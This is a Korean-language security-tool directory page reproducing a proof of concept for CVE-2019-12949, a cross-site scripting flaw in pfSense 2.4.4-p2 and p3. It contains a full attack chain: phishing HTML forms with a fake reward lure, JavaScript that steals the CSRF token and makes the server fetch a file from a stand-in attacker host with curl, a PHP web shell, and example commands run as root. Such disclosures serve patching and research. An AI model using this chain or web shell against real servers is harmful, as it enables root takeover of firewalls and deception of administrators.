Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-12949 — CVE-2019-12949 | Kitploit
도구/GitHubGitHub/tarantula-team/cve-2019-12949
Vulnerability AnalysisExploitationWeb Application ExploitationPhishingCommand and ControlPayload Development
GitHubtarantula-team/cve-2019-12949

CVE-2019-12949

CVE-2019-12949

저장소 보기
2597년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

[CVE-2019-12949] pfSense 2.4.4-p2 및 2.4.4-p3에서 크로스 사이트 스크립팅 취약점을 통한 원격 코드 실행까지

정보 설명:

pfSense 2.4.4-p2 및 2.4.4-p3에서, 인증된 관리자를 속여 피싱 페이지의 버튼을 클릭하게 할 수 있다면, 공격자는 ding_command.php와 rrd_fetch_json.php를 통해 서버에 임의의 실행 코드를 업로드할 수 있습니다. 그런 다음 원격 공격자는 해당 서버에서 루트 권한으로 모든 명령을 실행할 수 있습니다.

연구자: The Tarantula Team의 Enter, VinCSS (Vingroup의 일원)

PoC XSS

공격 벡터: https://pfSense_IP_Address/rrd_fetch_json.php

POST 요청을 보냅니다:

root@kitploit:~
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
	<input type="hidden" name="left" value="system-processor"><br>
	<input type="hidden" name="right" value="null"><br>
	<input type="hidden" name="start" value=""><br>
	<input type="hidden" name="end" value=""><br>
	<input type="hidden" name="resolution" value="300"><br>
	<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
	<input type="hidden" name="graphtype" value="line"><br>
	<input type="hidden" name="invert" value="true"><br>
	<input type="hidden" name="refreshInterval" value="0">
  <h1>Congratulations on receiving the reward from us</h1>
  <h1>Click to receive gifts</h1>
  <input type="submit" value="Submit">
</form>

XSS에서 RCE로

공격자는 pfSense의 XSS 취약점을 악용하기 위해 다음과 같은 피싱 사이트를 만들 수 있습니다:

root@kitploit:~
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
	<input type="hidden" name="left" value="system-processor"><br>
	<input type="hidden" name="right" value="null"><br>
	<input type="hidden" name="start" value=""><br>
	<input type="hidden" name="end" value=""><br>
	<input type="hidden" name="resolution" value="300"><br>
	<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
	<input type="hidden" name="graphtype" value="line"><br>
	<input type="hidden" name="invert" value="true"><br>
	<input type="hidden" name="refreshInterval" value="0">
  <h1>Congratulations on receiving the reward from us</h1>
  <h1>Click to receive gifts</h1>
  <input type="submit" value="Submit">
</form>

공격자 서버의 payload.js 파일에는 다음과 같은 JavaScript 코드(페이로드)가 포함됩니다:

root@kitploit:~
<script>
	var xhr = new XMLHttpRequest();
	xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
	xhr.withCredentials=true;
	xhr.send(null);
	var resp = xhr.responseText;
	console.log(resp);
	var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
	var end_idx = resp.indexOf('" />', start_idx);
	var token = resp.slice(start_idx + 27, end_idx);
	console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
	var xhr1 = new XMLHttpRequest();
	xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
	xhr1.withCredentials=true;
	var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
	xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhr1.setRequestHeader("Content-length", params.length);
	xhr1.send(params);
</script>

공격자 서버의 shell.txt 파일에는 다음과 같은 PHP 웹셸 내용이 포함됩니다:

root@kitploit:~
<?php
	system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
	phpinfo(); // show phpinfo
?>

마지막으로, 공격자는 인증된 pfSense 관리자(피해자)를 속여 피싱 사이트에 접속하고 피싱 사이트의 'Submit' 버튼을 클릭하게 합니다. 그러면 피해자는 pfSense 관리자 사이트로 리디렉션되고, 공격자의 웹셸이 자동으로 pfSense 서버에 성공적으로 로드됩니다.

그런 다음 원격 공격자는 pfSense 서버에서 루트 권한으로 임의의 코드를 실행할 수 있습니다:

root@kitploit:~
https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls
도구 다운로드